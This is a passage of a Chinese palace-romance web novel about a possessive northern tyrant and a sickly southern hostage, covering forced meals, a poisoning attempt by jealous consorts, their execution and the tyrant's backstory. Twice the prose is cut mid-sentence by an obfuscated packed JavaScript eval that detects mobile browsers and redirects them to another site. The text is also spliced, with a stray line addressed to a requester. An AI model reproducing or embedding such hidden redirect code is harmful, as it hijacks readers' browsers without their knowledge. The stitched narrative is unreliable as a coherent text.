挽清风:“……” 他脸上的温柔笑意几不可查地僵了一瞬,心底的白眼快翻出天际——搞什么?离这么近是怕我冻不死,还是打算盯着我吃饭睡觉?这暴君到底安的什么心。 可面上依旧温顺,轻声道谢:“谢殿下体恤。” 缓步落座在那方离暴君最近的软榻上,狐绒暖意裹着身子,可他却浑身不自在,如坐针毡。 严尊谨的目光自始至终落在他身上,浅棕色的眼眸沉沉,似打量,似占有,又似藏着无人知晓的疼惜,那道目光滚烫又直白,缠得他喘不过气。 挽清风只能死死端着那副温柔到极致的模样,唇角噙着浅淡温和的笑意,浅碧色的眼瞳沉静疏离,时不时轻声说几句关切的话语,每一句都软绵有礼。 实则心底早已抓狂——看什么看!没见过好看的质子吗?再看我把你眼睛戳瞎!表面清冷暴君,内里变态盯人狂,烦死了烦死了! 而严尊谨就这般安安稳稳坐着,享受着近在咫尺的药香与暖意,看着少年明明浑身不自在,却偏要装得温顺柔和的模样,唇角几不可查地勾起一抹极淡的笑意。 自晨起请安那日后,严尊谨便多了个雷打不动的规矩——以质子体弱、需日日进补为由,亲自盯着挽清风用午膳。 秦王殿的膳桌铺着暗云锦,珍馐佳肴摆满一案,热气袅袅升起,混着挽清风身上淡淡的药香,缠成一室暧昧又紧绷的气息。 挽清风端坐于严尊谨身侧的软榻上,一身月白长袍衬得面容愈发清俊,垂眸执箸的模样温顺得像一汪春水,眼底却早已翻了无数个白眼。 严尊谨支着下颌,浅棕色眼眸一瞬不瞬锁着他,长臂一伸,金镶玉箸精准夹起一箸鲜嫩的清蒸鱼肉,稳稳落在挽清风面前的白瓷碗中。 语气平淡,却带着不容置喙的霸道:“吃。” 挽清风看着碗里那抹嫩白,浅碧色的眼瞳几不可查地一缩。 鱼肉腥寒,他自小体弱,脾胃受不住,是刻进骨子里的饮食大忌,半点沾不得。 可他面上依旧温软,轻轻放下玉箸,垂眸行礼,声音轻得像羽毛:“谢殿下厚爱,只是臣……身子孱弱,恐受不得这等腥鲜。” “怎么?” 严尊谨眉峰微挑,周身气压骤然降下,浅棕眼眸里漫开帝王的威压,语气冷了几分,“质子连本王亲自夹的菜,都要拒绝?” 一句话,堵死所有退路。 这不是喂食,是权力的试探,是看他这南国质子,到底敢不敢逆他的意。 挽清风指尖微蜷,藏在袖中的手早已攥紧。 他敢怒不敢言,却也从不会乖乖受磋磨。 只见他缓缓抬眼,唇角弯起一抹温柔至极的笑意,重新执起玉箸,轻声应道:“臣不敢。” 话音落,他低头,将那箸鱼肉小口小口咽下。 动作优雅温顺,眉眼低垂,看不出半分抵触,仿佛真的心悦诚服。 严尊谨看着他乖乖吃下,指尖微松,心底刚泛起一丝满意,却没捕捉到少年咽下最后一口时,眼底飞快掠过的厌弃与冷意。 半个时辰后 暗卫悄无声息跪于殿外,低声回禀:“殿下,质子回清欢殿后,便在廊下吐了一回,此刻正捧着苦茶压惊,脸色……不大好看。” 殿内静得可怕。 严尊谨指尖捏着刚温好的白玉茶盏,“咔——”一声清脆裂响,羊脂玉般的茶盏瞬间在他掌心碎裂,瓷渣嵌进皮肉,渗出血珠,他却浑然不觉。 浅棕色的眼眸里翻涌着滔天戾气与心疼。 他不过是想试探他,想让他听话,竟不知这鱼肉是他的禁忌。 “传旨。” 严尊谨声音冷得像北境最深的寒冰,“连夜调取南国全部密档,给本王查清楚——挽清风从小到大,所有饮食禁忌、喜好厌恶,一字不落,全部呈上来。” 他的人,他可以欺负,却不能因为他的无知,让他受半分委屈。 次日午膳 挽清风踏入膳厅时,整个人都愣在了原地。 满桌菜肴尽数撤换,没有半丝腥寒,全是温软养胃、清润滋补的菜式,甚至连调味、火候,都精准踩在他最习惯的口味上。 清粥软糯,小菜清甜,药膳香气温和,无一不是他爱吃、且身体能承受的东西。 挽清风握着玉箸的手指微微收紧,浅碧色的眼眸里,第一次褪去了刻意伪装的温柔,露出了一丝真实的怔愣。 他甚至怀疑,这是不是暴君新的折磨手段。 严尊谨端坐于主位,若无其事地翻看着奏折,仿佛桌上这一桌精心准备的饭菜,不过是随手吩咐的小事。他抬眼瞥了他一下,语气淡淡:“怎么,不合胃口?” 挽清风久久回不过神,指尖微颤。 这根本不是不合胃口—— 这是完全照着他的喜好,量身定做。 他垂落眼睫,遮住眼底翻涌的惊疑与不解,声音轻了几分,少了几分刻意的温柔,多了几分真实的复杂:“……合的,谢殿下。” 内心早已炸开: 这暴君到底在搞什么? 他竟然去查我?查我的忌口,查我的喜好? 阴晴不定,莫名其妙,简直让人摸不透! 严尊谨看着他乖乖动筷,看着他小口吃着饭菜时柔和的侧脸,掌心昨夜的伤口还在疼,心底却一片滚烫安稳。 挽清风垂着头慢慢用膳,指尖捏着玉箸,动作轻缓得近乎小心翼翼,满桌合心意的饭菜入口温热,他却吃得心神不宁。 浅碧色的眼瞳时不时往严尊谨方向瞟一眼,又飞快收回,心底翻来覆去只有一个念头——这暴君绝对有问题。 严尊谨将他所有细微反应尽收眼底,浅棕眼眸里藏着浅淡的笑意,面上依旧冷着一张脸,目光落在奏折上,心思却全黏在身侧人身上。 看他小口喝粥时轻颤的眼睫,看他夹起药膳时柔和的侧脸,看他周身淡淡的药香混着饭香,缠得他心头发软。 内侍轻手轻脚撤去膳桌,殿内只剩下笔墨轻响与两人的呼吸声。 挽清风放下筷子,规规矩矩起身行礼,嗓音依旧温软,却少了几分刻意的阴阳怪气,多了几分不易察觉的局促:“殿下,臣先行告退。” 他一刻也不想待在这让人浑身不自在的宫殿里,严尊谨的目光太烫,像要把他这层温柔面具彻底灼穿。 刚转身,手腕便被一只温热有力的手攥住。 严尊谨不知何时起身,197cm的身高居高临下笼罩着他,玄色衣袍带起淡淡的龙涎香,将他周身的药香尽数裹住。 他指尖摩挲着挽清风冰凉细腻的手腕,触感柔软,让他舍不得松开。 “急什么。”严尊谨嗓音低沉,带着几分漫不经心的霸道,“太医说你体虚血寒,方才送来滋补汤药,喝了再走。” 挽清风僵在原地,手腕被攥得挣不脱,心底的反骨又开始冒头,面上却只能温温软软地反抗:“殿下,臣回清欢殿再喝也是一样的,不敢耽误殿下处理政务。” 他最讨厌那碗苦得让人皱眉的汤药,能拖一刻是一刻。 严尊谨像是看穿了他那点小心思,唇角勾起一抹极淡的狡黠,抬手示意内侍端药。 漆黑的药碗递到眼前,苦涩的药味扑面而来,挽清风下意识皱了皱眉,那点真实的小情绪藏都藏不住。 “本王亲自看着你喝。”严尊谨松开他的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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结论:他是想把我养肥了,再慢慢折磨 挽清风几乎是逃也似的回到了清欢殿,一踏进门,便卸下了所有温柔温顺的伪装,抬手将鬓边凌乱的银白长发拂到身后,浅碧色的眸子里满是冷意,毫不客气地翻了个大大的白眼。 殿内暖炉烧得正旺,是严尊谨一早便吩咐人添足了炭火,连他惯常喝的温润蜜茶都早已备好,触手可及全是妥帖。 可越是这般无微不至,挽清风心底的疑心便越重。 他坐在软榻上,指尖轻轻敲击着扶手,将这几日发生的事一一在脑海里过了一遍。 故意让他在雪中等半个时辰,却转头把地龙烧得滚烫,赐他最近的软榻; 明知他忌口鱼肉,偏要以权势逼他咽下,等他吐了,又连夜翻遍密档,查清他所有饮食禁忌; 今日一桌子全是他爱吃的饭菜,盯着他用膳,喝完苦药还递上蜜饯,连语气都少了几分冷硬,多了几分他看不懂的耐心。 一桩桩,一件件,看似是体恤,是关照,可落在挽清风眼里,却只拼凑出了一个让他毛骨悚然的结论。 他抬眼望着窗外飘落的细雪,薄唇轻启,低声喃喃,语气里满是笃定的阴阳怪气: “呵,严尊谨这暴君,打得一手好算盘。” “先是故意磋磨我,试探我的底线,再转头把我伺候得舒舒服服,饮食、起居、汤药,样样都按着我的心意来……他这是,想先把我养得舒舒服服、身子养稳了,再慢慢动手折磨我。” “毕竟,一个病弱不堪、一碰就倒的质子,折腾起来也没什么意思。等我养得白白嫩嫩、毫无防备了,他再一刀一刀慢慢割,才够解气,才够符合他暴君的性子。” 想到这里,挽清风心底一阵恶寒,指尖攥得发白,浑身的反骨都竖了起来。 他就说,这世间绝对没有无缘无故的好,更没有从暴君身上掉下来的温柔。 严尊谨所做的一切,根本不是体恤,不是心软,而是最恶毒的蓄谋。 先予之甜,再夺之命。 先把他捧在手心,事事妥帖,让他放下戒心,等他彻底习惯了这份好,再狠狠将他推入深渊,这般折磨,才最是戳心刺骨。 挽清风浅碧色的眼眸里闪过一丝冷冽的嘲讽,唇角勾起一抹极淡的、带着反骨的笑意。 想养肥了再折磨? 做梦。 他端起桌上的蜜茶,小口抿了一口,甜意入喉,心底却一片冰冷清醒。 面上,他依旧会做那个温柔温顺、病弱乖巧的南国质子,对严尊谨的“好意”照单全收,温声道谢,笑意温婉。 可心底,早已把严尊谨划入了最危险的黑名单,时刻警惕,随时准备着用他那一身反骨和毒舌,狠狠回击回去。 暴君的温柔?不过是屠刀前的最后一点糖衣。 他挽清风,才不会乖乖上当。 而此刻的秦王殿内,严尊谨刚看完暗卫传回的、关于挽清风在清欢殿自言自语的密报,浅棕色的眼眸愣了一瞬,随即低低地笑出了声。 笑声低沉,带着无奈,又裹着浓得化不开的疼惜。 养肥了再折磨? …………… 7. 挽尊如雪·三 自得出「养肥了再折磨」这个结论后,挽清风算是彻底放开了。 表面依旧是那副温柔病弱、仙气飘飘的南国质子,内里那点反骨,直接焊死在骨子里,明里暗里,跟严尊谨对着干。 严尊谨依旧每日亲自盯着他用膳,满桌都是按他喜好做的菜。 挽清风拿起玉箸,慢条斯理,温温柔柔开口: “殿下,这菜太淡了,臣胃口浅,吃不下。” 严尊谨:“……让人重做。” 重做上来,他又轻蹙眉头,嗓音软乎乎: “殿下,又太咸了,臣身子弱,受不住重味。” 严尊谨捏紧笔杆:“再重做。” 第三次端上来,火候味道无一不精。 挽清风小口吃了两口,放下筷子,轻轻咳了两声: “谢殿下,臣饱了,最近胃口不大好。” 内心: 让你盯,让你管,我就不吃,气死你。 想养肥我再折磨?门都没有。 严尊谨看着他明明没吃几口,却硬说饱了的小模样,浅棕眼眸沉沉,又气又笑,指尖敲着桌面,愣是没舍得凶一句。 只冷冷吩咐下人:“以后膳食品种多备几样,顺着他的心意来。” 挽清风垂眸,眼底悄悄翻了个白眼。 内心: 呵,装,继续装,看你能装到几时。 太医的药每日准时送到。 严尊谨亲自端着药碗,沉声道:“喝了。” 挽清风垂着眼,温温软软:“殿下,药太苦,臣喝了会吐。” “吐了再喝。” “殿下……” “别闹。” 挽清风看硬躲不过去,干脆仰头一口灌下,喝完立刻偏头,一副要吐不吐的虚弱模样。 严尊谨手忙脚乱递蜜饯,他却偏偏不接,自己摸出袖中提前备好的酸梅,慢悠悠含了一颗。 全程无视严尊谨伸在半空中的手。 内心: 你的蜜饯,我还不稀得吃。 谁知道你有没有在里面加东西。 严尊谨手僵在半空,看着他那一身明目张胆的小反骨,非但不气,心底还软得一塌糊涂。 忘了就忘了,这般有脾气,才是他的少年。 严尊谨下令,以后晨起请安不必在殿外久等,直接入内。 挽清风表面应得温顺,转头就天天踩着最晚的时辰来。 来时不慌不忙,披着狐裘,慢悠悠晃进殿,行礼都比别人浅一分,嗓音轻软却没半分敬畏: “殿下万安。” 内心: 让你等,急死你。 规矩?在我这儿,不存在的。 内侍吓得大气不敢喘,这质子简直是在刀尖上跳舞。 可严尊谨只是淡淡瞥他一眼,看着他冻得微红的耳尖,沉声道: “日后多睡会儿,不必勉强早起。” 全朝上下,谁敢在他面前如此放肆? 也就挽清风这一身反骨,能让他一次又一次破例。 四、日常对话——句句温柔,句句带刺 严尊谨故意靠近他,压低声音:“近日身子好些了?” 挽清风垂眸,温柔一笑:“托殿下的福,暂时还死不了。” 严尊谨:“……” 严尊谨:“夜里冷,被子够不够?” 挽清风:“殿下放心,真冻出好歹,也不麻烦殿下多久。” 严尊谨:“……” 每一句都温温柔柔,每一句都能把人噎得半死。 别人听着是乖巧懂事,只有严尊谨听得出来—— 这是明晃晃的顶撞,是藏在温柔里的反骨。 暗卫常常心惊胆战禀报: “殿下,质子今日又……” 严尊谨听完,非但不怒,反而唇角微扬。 内心: 脾气还是这么倔。 也好,这般有生气,不像当年那般怯生生。 他尽管反,尽管闹,尽管浑身是刺。 反正,最后能护着他的,能忍他这一身反骨的,从头到尾,只有我一个。 挽清风看着严尊谨一次次纵容,心里只有一个念头: 这暴君,忍得真够久的。 现在对我越宽容,后面折磨起来就越狠。 我偏不顺着你,偏不让你如意。 你想养乖我,我就把反骨刻进骨子里。 温柔是假,体贴是假,纵容也是假。 全是为了后面那一刀。 他依旧每日温温柔柔行礼,温温柔柔说话,浅碧眼眸干净悲悯。 只有在没人看见的时候,才会毫不掩饰地翻个白眼,一脸“离我远点你个暴君”的嫌弃。 北境谁都知道,秦王严尊谨,根本无心后宫。 那些贵妃淑人,全是当年登基之初,大臣们硬塞进来“固朝纲、延子嗣”的摆设。 严尊谨懒得驳老臣脸面,便随手安置在后宫,平日里连门都不踏进一步,更别提什么恩宠不恩宠。 后宫空寂得能养鸟,本是人人心知肚明的事。 直到挽清风来了。 自从这位南国质子住进秦王宫,严尊谨的心思就没从他身上挪开过—— 亲自盯着用膳、盯着喝药、雪天不让他久等、满桌菜肴全按他的喜好来、连一句重话都舍不得说。 整个秦王宫上上下下,谁看了都心里有数。 唯独后宫那群久居深宫、闲得发慌的贵妃们,脑子像是被门夹过。 她们看不见秦王从前的冷淡,看不见这后宫本就形同虚设,只死死盯着一点: 自从挽清风来了,殿下就更不踏后宫一步了。 于是,一个荒诞又恶毒的结论,在后宫疯传: 是那位南国质子,狐媚惑主,夺走了她们本该有的恩宠。 “一个男子,还是个质子,天天黏在殿下身边,成何体统!” “身子弱得风一吹就倒,手段倒是厉害,把殿下迷得神魂颠倒!” “若不是他,殿下怎么会对我们如此冷淡?这祸水,不除不行!” 她们把自己失宠的怨气、深宫的寂寞、无处发泄的嫉妒,一股脑全扣在了挽清风头上。 仿佛只要没了挽清风,严尊谨就会回头看她们一眼似的。 挽清风刚听说这事时,正在喝茶。 一口热茶差点喷出来,浅碧色的眼眸瞪得圆圆的,当场就翻了个惊天白眼,差点把眼珠子翻到后脑勺去。 他放下茶杯,温温柔柔地“哦”了一声,语气轻得像羽毛,内容却能把人噎死: “臣真是受宠若惊。” “殿下宠不宠谁,居然是臣说了算的。” “早知道臣有这本事,当初就不该来当质子,直接当这后宫之主得了。” 内心疯狂输出: 有病吧?! 全是脑子有坑吧?! 严尊谨那暴君本来就不搭理你们,关我屁事?! 我天天被他盯着、防着他养肥了再折磨,我招谁惹谁了? 一群疯女人,没事找事,闲得蛋疼! 他这一身反骨,本来就只对着严尊谨一个人,现在平白无故被后宫泼脏水,简直烦得要死。 而这一切,严尊谨比谁都清楚。 傍晚,暗卫跪在殿外,战战兢兢地把后宫的流言蜚语、贵妃们的怨毒议论一一禀报。 严尊谨正在给挽清风挑明天要吃的药膳单子,闻言动作一顿。 周身的温度,瞬间降到冰点。 浅棕色的眼眸里没有半分温度,只有压不住的戾气。 “她们倒是闲得很。” “本王不去后宫,是本王的意思,与他有半分关系?” “也敢往他身上泼脏水。” 他本来连后宫的人名字都记不全,此刻却因为她们污蔑挽清风,动了杀心。 一旁的内侍吓得浑身发抖,不敢说话。 严尊谨指尖捏紧,冷冷开口: “传旨下去。” “后宫众人,安分守己。” “谁再敢私下议论质子,散播污言秽语——” “杖毙。” 一个字,一条命。 帝王的戾气,不是对着挽清风那点小打小闹的反骨,而是对着所有敢动他的人的刀刃。 挽清风还不知道,自己随口一骂,后宫已经因为他,被严尊谨划下了一道血淋淋的红线。 他依旧顶着一身反骨,一边防着严尊谨“养肥再杀”,一边在心里把那群没事找事的贵妃骂了八百遍。 只是他不知道, 这世上最护着他的, 一个是他天天翻白眼的暴君, 一个是他自己,焊在骨子里的反骨。 午后日头微暖,挽清风刚被严尊谨盯着喝完药,正倚在廊下的软榻上晒太阳。 银白长发铺散在狐裘上,发间白羽轻垂,浅碧眼眸半阖,周身萦绕着淡淡的药香,看上去温顺又孱弱。他才刚松快片刻,还在心里默默翻着白眼吐槽严尊谨管得太宽,几道气势汹汹的身影,已经径直朝他冲了过来。 是后宫最受老臣器重的三位贵妃,带着贴身侍卫,一脸怨毒地堵在了他面前。 “挽清风。”为首的李贵妃开口,声音尖刻,“你一个南国来的质子,也敢迷惑君王,祸乱宫闱?” 挽清风缓缓抬眼,浅碧色的眸子里没有半分惧色,只有被打扰后的不耐。他懒得跟这些人虚与委蛇,语气温软,却带着刺:“贵妃娘娘说笑了,殿下的心思,臣如何左右?娘娘们失宠,倒像是臣的不是了。” 一句“失宠”,精准戳中痛处。 “还敢狡辩!”张贵妃厉声喝道,挥手示意身后侍卫,“今日就让你知道,这秦王宫,不是你能撒野的地方!” 两名侍卫立刻上前,一人按住挽清风的肩,一人端着一碗漆黑刺鼻的药汁,狞笑着就要往他嘴里灌。 “放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261103|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开……你们放肆!” 挽清风身子本就弱,被侍卫死死按住,动弹不得。那碗药腥臭刺鼻,光是闻着,就知道不是什么好东西,轻则伤身,重则毁了他这副本就孱弱的身子。 他拼命挣扎,浅碧眼眸里第一次露出真实的慌乱,苍白的脸颊因挣扎泛起薄红,唇瓣轻颤:“我是南国质子,你们不能……” 话没说完,一股凛冽至极的威压,骤然从廊口席卷而来。 空气瞬间凝固。 严尊谨就站在那里,玄色衣袍被风微微掀起,原本浅棕温润的眼眸,此刻黑得吓人,周身戾气翻涌,如同从地狱踏血而归的修罗。 他不过是回去取一件要给挽清风的暖裘,不过片刻功夫,就敢有人在他眼皮子底下动他的人。 “谁给你们的胆子。” 低沉的嗓音没有起伏,却带着能冻死人的寒意。 那几名侍卫吓得手一软,“哐当”一声,药碗摔碎在地,漆黑的药汁溅得满地都是。按住挽清风的手瞬间松开,所有人扑通扑通跪倒在地,浑身发抖。 “殿、殿下……” 三位贵妃脸色惨白如纸,吓得连话都说不完整。 严尊谨连一个眼神都懒得给她们,目光第一时间落在被放开的挽清风身上。 少年苍白着脸,僵在原地,银白长发凌乱,肩背还在微微发颤,那双总是盛满温柔与反骨的浅碧眼眸,此刻只剩下惊魂未定的茫然。 严尊谨心口一紧,戾气更盛。 他一步步走近,玄色靴底碾过地上破碎的瓷片,发出清脆刺耳的声响。 “后宫不得干政,不得惊扰质子。”他开口,一字一顿,“本王的话,你们是听不懂,还是……故意找死。” 李贵妃颤着声,还想狡辩:“殿下,是他迷惑您,是他……” “闭嘴。” 严尊谨眼神一冷,抬手,没有半分犹豫。 廊下侍卫早已拔刀待命。 血光一瞬即逝。 连一声完整的惨叫都没有。 刚刚还咄咄逼人的三位贵妃,连同那几名动手的侍卫,当场倒在了血泊之中。 猩红的血,溅在洁白的廊砖上,刺目至极。 空气里瞬间弥漫开浓重的血腥气,压过了药香,压过了暖香,残忍又直白。 挽清风整个人都僵住了。 他从小生长在南国深宫,虽为质子,却从未见过如此直白、如此毫不留情的杀戮。 上一秒还在叫嚣的人,下一秒便成了冰冷的尸体。 鲜血、倒地的声响、空气中挥之不去的腥气……一桩桩,一幕幕,狠狠砸在他的心上。 他本就体弱,受不得惊吓,此刻只觉得天旋地转,眼前一阵阵发黑,耳边嗡嗡作响。 双腿不受控制地发软,膝盖一弯,几乎要跌坐在地。 他撑着身后的廊柱,指尖死死抠进木头里,苍白的唇瓣不住颤抖,浅碧色的眼眸睁得很大,瞳孔微微涣散,连呼吸都变得困难。 吓懵了。 彻彻底底吓懵了。 严尊谨回头时,看见的就是他这副快要站不住、满眼惊恐无措的模样。 心头所有戾气瞬间被掐灭,只剩下慌乱与心疼。 他几步上前,伸手稳稳扶住他发软的身子。197cm的高大身形将他牢牢护在怀里,隔绝了所有血腥与寒意。 “别怕。” 严尊谨的声音不再冰冷,带着难得的慌乱,伸手轻轻按住他的后心,输给他一丝暖意,“有我在,没事了,不怕。” 挽清风靠在他怀里,浑身都在轻颤,腿软得完全站不住,眼前一阵阵发黑,只能死死抓着严尊谨的衣袍,像抓住最后一根浮木。 他没有力气翻白眼,没有力气阴阳怪气,没有力气再想什么“养肥了再折磨”。 此刻他脑子里只有一个念头—— 这就是……真正的暴君。 杀人不眨眼,连眼睛都不眨。 而自己,刚刚离死亡,只有一碗药的距离。 严尊谨看着他吓得发白的小脸,看着他发红的眼尾,看着他浑身发抖、站都站不稳的样子,心疼得快要窒息。 他低头,将人打横抱起,动作轻柔得不像话,与刚才杀人不眨眼的模样判若两人。 “不看了,我们回家。” “以后,再也没有人敢碰你。” 他抱着浑身发软、吓懵了的少年,大步离开这片血腥之地,全程没有再看地上的尸体一眼。 在他眼里,整个世界,只有怀里这个吓懵了、一身反骨却又脆弱不堪的人,才是唯一的命。 挽清风窝在他怀里,意识昏沉,双腿依旧发软,眼睛发晕。 他闻着严尊谨身上的龙涎香,混着淡淡的血腥气,第一次,打从心底里,生出了一丝无法掩饰的恐惧。 也第一次,模糊地意识到—— 严尊谨对他的特殊,根本不是为了折磨。 而是……谁动他,谁就得死。 8. 挽尊如雪·四 严尊谨一路将人打横抱回寝殿,全程脚步放得极轻,生怕再惊着怀里早已吓软的人。 殿内地龙烧得滚烫,暖香阵阵,隔绝了外面所有血腥与寒意。他小心翼翼把挽清风放在铺了三层绒毯的软榻上,又亲自拿过暖炉塞进他冰凉的手心里。 挽清风整个人还是懵的。 浅碧色的眼眸微微发直,脸色白得像纸,唇瓣没半点血色,指尖微微颤抖,双腿依旧发软,连坐都坐不稳。方才那一幕血光太刺目,杀人时的戾气、血腥味、倒地的声响,一遍遍在他眼前回放。 他长这么大,在南国深宫虽也见过争斗,却从未见过这般说杀就杀、眼皮都不眨的狠戾。 严尊谨蹲在他面前,仰头望着他,声音放得极低、极柔,半点平日的霸道戾气都不剩: “别想了,都过去了。” 挽清风睫毛颤了颤,却不敢看他,只微微偏过头,声音轻得像要碎掉: “你……你刚才……” 他说不下去。 说不出“你杀了她们”,也说不出“你好狠”。 他只是怕。 怕这个前几日还耐心给他夹菜、记着他所有忌口的男人,下一刻也会用同样的冷漠眼神看他。 严尊谨一看他这模样就懂了。 他的少年,被他吓着了。 “我不杀她们,死的就是你。” 严尊谨抬手,指尖极轻地碰了碰他的脸颊,动作温柔得近乎虔诚, “在这秦王宫,谁动你,谁死。这不是脾气,是规矩。” 挽清风喉咙发紧,一句话都说不出,只觉得头晕目眩,身子一歪,往榻侧倒去。 他是真的吓狠了,体弱气虚,眼前一黑,昏昏沉沉地闭了眼。 “清风!” 严尊谨心瞬间提到嗓子眼,伸手将人揽进怀里,指尖探上他脉搏,脸色沉得吓人。 “传太医!立刻!” 太医匆匆赶来,把过脉后战战兢兢回禀: “殿下,质子殿下是……受了大惊吓,气血上涌,又身子本虚,才会晕厥,无性命之忧,只是要静养,不能再受刺激。” “都退下。” 严尊谨挥退所有人,独自守在榻边。 他坐在榻沿,轻轻握着挽清风冰凉的手,看着少年苍白的睡颜,银白长发散在枕上,眉尖还微微蹙着,像是梦里都在害怕。 心底又是心疼又是自责。 是他太急了。 是他戾气太重,吓到了他。 他本该护得他周全,却让他亲眼见了血。 严尊谨低下头,在他指尖轻轻碰了一下,声音低哑,只有自己能听见: “对不起,吓着你了。” “我只是……不能忍任何人碰你。” 挽清风这一觉睡得极不安稳。 梦里全是血,还有严尊谨那双冷得像冰的眼。 他猛地惊醒,喘着气坐起身,额上全是冷汗。 “醒了?” 严尊谨立刻起身,递过温好的蜜水,动作自然得像是做过千百遍。 挽清风下意识往后缩了一下,眼神里还藏着没散完的惧意。 这个小动作,像针一样扎在严尊谨心上。 他没有靠近,只把水杯放在床头矮几上,后退半步,拉开一点让他安心的距离,声音平静温和: “我不碰你,你别怕。” 挽清风抱着膝盖,缩在榻角,小声问: “你为什么……要杀她们?” 严尊谨抬眼,目光认真得可怕: “因为她们敢对你动手。” “这后宫本来就不是我想要的,她们得宠失宠,与你半分关系都没有。” “我对她们冷淡,是因为我心里从来没有她们。” 后半句他没说出口—— 我所有的心思,都在你身上。 挽清风怔怔看着他。 这一刻,他脑子里那个“养肥了再折磨”的结论,第一次出现了裂痕。 如果真是要折磨他,方才为何要拼了命护着他? 为何要为了他,连贵妃都毫不犹豫斩杀? 为何现在又要这般小心翼翼,怕吓着他? 他越想越乱,头又开始发晕,腿依旧有些发软。 严尊谨看他脸色又白下去,立刻道: “你再躺会儿,我让厨房做你爱吃的甜羹。” “我就在外面,不吵你。” 说完,他真的转身走到外殿,安安静静处理公务,只时不时抬眼望向内殿,确认他没事。 挽清风躺在榻上,睁着眼睡不着。 他闻着殿里淡淡的药香与龙涎香,耳边是外殿传来的轻浅翻页声。 刚才那血腥的一幕还在眼前,可身边这个人的温柔,也真实得触手可及。 他第一次彻底混乱了。 他到底是谁? 是杀人不眨眼的暴君? 还是……唯一一个会拼了命护着他的人? 他那一身焊在骨子里的反骨,第一次在这个人面前,悄无声息地,软了一角。 而外殿的严尊谨,指尖捏着奏折,一个字也没看进去。 他心里只有一个念头: 以后,绝不让他再受一点惊吓,流半分害怕的泪。 谁都不行。 殿内烛火明明灭灭,映得严尊谨深邃的眉眼半明半暗。 他遣退了所有人,独自坐在空旷的正殿里,指尖无意识地摩挲着一枚早已磨得光滑的旧木牌——那是童年唯一剩下的东西。 白日里挽清风吓得脸色惨白、腿软站不稳、满眼惊恐的模样,一遍遍在他脑海里回放,扎得他心口阵阵发紧。 他终于承认,自己怕了。 怕吓走那束,曾照亮他整段烂泥般童年的光。 他也曾是天之骄子。 文学过目成诵,武艺一学便通,天赋异禀,锋芒难掩。 可偏偏,他是先帝最不受宠的皇子。 母亲只是宫里最低贱的婢女,若不是意外怀上他、又被先帝偶然看中一次,连个名分都不会有。 宫里的人最是拜高踩低。 兄长欺辱,宫人怠慢,其他皇子变着法子欺负他。 冬天冻得没有炭火,夏天热得没有冰水,挨打受饿是家常便饭。 母亲生下他后便常年精神恍惚,一受刺激就说胡话,哭着骂他拖累自己,骂这世道不公,骂完又抱着他发抖,说对不起。 他那时候才几岁。 无人可依,无人可信,活在阴沟里,满身戾气,满心都是恨。 后来,南国送来一位小伴读,据说是南国身份不高、却生得极好看的小公子。 所有人都说是先帝故意塞来监视他、羞辱他的。 严尊谨那时候冷眼看着被领进冷宫偏殿的小小身影,银发白肤,眼瞳浅碧,怯生生又温柔。 他满心戒备,只当是又一个来嘲笑他的人。 可挽清风没有。 别人都躲着他,嫌他卑贱,嫌他阴冷。 只有挽清风,会偷偷揣着野果递给他,会在他被欺负时挡在他身前,会在他母亲发疯、他一个人缩在角落时,轻轻坐在他身边,安安静静陪着,不说话,也不嫌弃。 “他们不疼你,我疼你。” 小小的少年声音软软的,带着江南的温软。 那是严尊谨这辈子,第一次听见有人说“疼你”。 那段暗无天日的岁月里,挽清风是他唯一的光,是他整个童年的救赎。 是他在泥泞里抬头,唯一能看见的月亮。 可后来,那场意外。 他与人争执,引来祸事,挽清风为了护他,被人狠狠推倒,后脑砸在青石阶上,血流不止。 醒来后,什么都忘了。 忘了他,忘了冷宫,忘了那些陪伴,忘了那句“我疼你”。 再后来,南国把人接走,杳无音信。 而他,在那之后彻底疯了。 父亲不管不问,兄长赶尽杀绝,母亲疯疯癫癫。 既然全世界都不要他,那他就把这世界踩在脚下。 他藏起锋芒,忍辱负重,步步为营。 弑父,除兄,血洗宫廷,以最狠戾最决绝的方式,硬生生从地狱里爬出来,坐上了这北境至尊之位。 双手染血,六亲不认,成了人人惧怕的暴君。 他以为这辈子再也见不到那束光了。 直到挽清风以南国质子的身份,重新站在他面前。 银白长发,浅碧眼眸,温柔依旧,只是忘了他。 一眼,他就认出来了。 是他的少年。 是他拼了命也要护着的人。 所以他才偏执,才占有欲爆棚,才一边忍不住靠近,一边又怕吓到他。 所以谁动挽清风,谁就得死。 那是他用童年所有苦难,用半生杀戮,换回来的唯一念想。 严尊谨抬手,按住心口。 那里还在疼。 疼当年没能护住他,疼今天又吓着他,疼他什么都不记得,疼他满心满眼都把自己当成要折磨他的暴君。 长夜寂静。 他缓缓闭上眼,声音低哑,碎在风里: “我不是要折磨你。” “我是怕再失去你一次。” “你是我这辈子,唯一的光。” 窗外雪落无声。 殿内,一人忆尽半生血与痛,念着唯一的救赎。 而隔了几重宫阙的清欢殿里,挽清风惊魂未定,辗转难眠,第一次对那个杀人不眨眼的暴君,生出了连自己都不懂的、复杂难言的心绪。 他不知道,自己早已是那个人,黑暗生命里的全部。 我给你写满对话+心理+动作+氛围,全程雨夜对峙、张力拉满,挽清风彻底撕破温柔面具,严尊谨心碎又隐忍—— 北境的夜雨来得又冷又急,豆大的雨珠砸在宫墙上,溅起一片湿冷的雾气。 挽清风裹着一身深色短打,浑身早已被淋得透湿,银白长发黏在苍白的脸颊上,雨水顺着下颌不断滴落。他缩在宫墙阴影里,指尖攥着早已买通的侍卫塞给他的铁钩,指尖冻得发紫,却眼神坚定。 这几日,他夜夜被那日血腥场面惊醒,一闭眼就是满地鲜血、严尊谨冷戾无波的眼。 他怕。 怕这个护他护到杀人不眨眼的暴君,某一天刀锋转向自己。 怕这 